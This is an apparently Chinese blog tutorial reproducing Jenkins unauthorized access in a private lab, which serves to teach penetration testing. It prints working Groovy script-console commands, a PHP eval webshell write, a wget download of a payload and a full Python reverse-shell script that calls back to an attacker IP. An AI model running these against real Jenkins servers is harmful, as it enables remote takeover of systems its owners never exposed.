Jenkins未授权访问漏洞复现与 getshell 利用方法汇总

一、Jenkins介绍

1.1 什么是Jenkins?

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

1.2 Jenkins的功能

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:
用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作

1.3 Jenkins的漏洞简介及危害

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1.4 Jenkins的漏洞成因

1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令

二、靶场搭建

服务器: Centos 8
IP: 192.168.241.129

2.1 下载 Jenkins 并安装

地址:
官方:http://mirrors.jenkins.io
镜像:https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/

wget https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/jenkins-2.258-1.1.noarch.rpm

在这里插入图片描述
安装JAVA环境

yum install java-1.8.0-openjdk.x86_64  -y

在这里插入图片描述
安装 jenkins 并启动

rpm -ivh jenkins-2.258-1.1.noarch.rpm
service jenkins start

在这里插入图片描述

2.2 配置 Jenkins

浏览器访问 8080 端口,将密码复制粘贴过去
在这里插入图片描述
之后下一步:选择 安装推荐的插件
在这里插入图片描述
设置一个新的用户名、密码,我没设置,选择的“使用admin账户继续”
在这里插入图片描述
成功登录进去
在这里插入图片描述

2.3 配置 Jenkins 不用账号密码即可登录

但是再次访问 http://192.168.241.129:8080/ 需要admin的账户密码,有点繁琐,为了方便,设置 Jenkins 不使用账号密码即可登录

vi  /var/lib/jenkins/config.xml

在这里插入图片描述
重启 Jenkins

systemctl restart jenkins

在这里插入图片描述
再次访问 http://192.168.241.129:8080/ 不需要账号密码即可进管理后台
在这里插入图片描述
注意:
防火墙配置需要关闭防火墙或者开通8080端口,其它主机才可以访问服务器的8080端口

systemctl stop firewalld.service

三、漏洞复现

3.1 发现漏洞

访问目标网站存在 Jenkins 未授权访问漏洞
在这里插入图片描述

3.2 漏洞利用

点击 系统管理
在这里插入图片描述
之后,下拉找到脚本控制台,点击脚本控制台
在这里插入图片描述
执行并打印系统命令

println "whoami".execute().text
println "ifconfig".execute().text

在这里插入图片描述

如果知道web站点目录可写入一句话shell,例如:

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');

本案例,无WEB站点,那么通过脚本反弹shell,看看行不行
在这里插入图片描述
但是发现 kali 监听端并没有反弹shell
在这里插入图片描述
换一个思路先上传python脚本,然后利用python脚本生成一个bash反弹shell
ft.py 脚本内容:

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.241.128",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

将 ft.py 脚本放在本地WEB服务器上,之后在 jenkins 上执行命令,去WEB服务器上下载 ft.py 到 /tmp/目录下

println "wget http://192.168.241.1/ft.py -P /tmp/".execute().text

在这里插入图片描述
执行python脚本 ft.py

println "python3 /tmp/ft.py".execute().text

在这里插入图片描述
kali 成功接收到反弹的 shell
在这里插入图片描述

四、修复建议

1、配置Jenkins登录验证

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值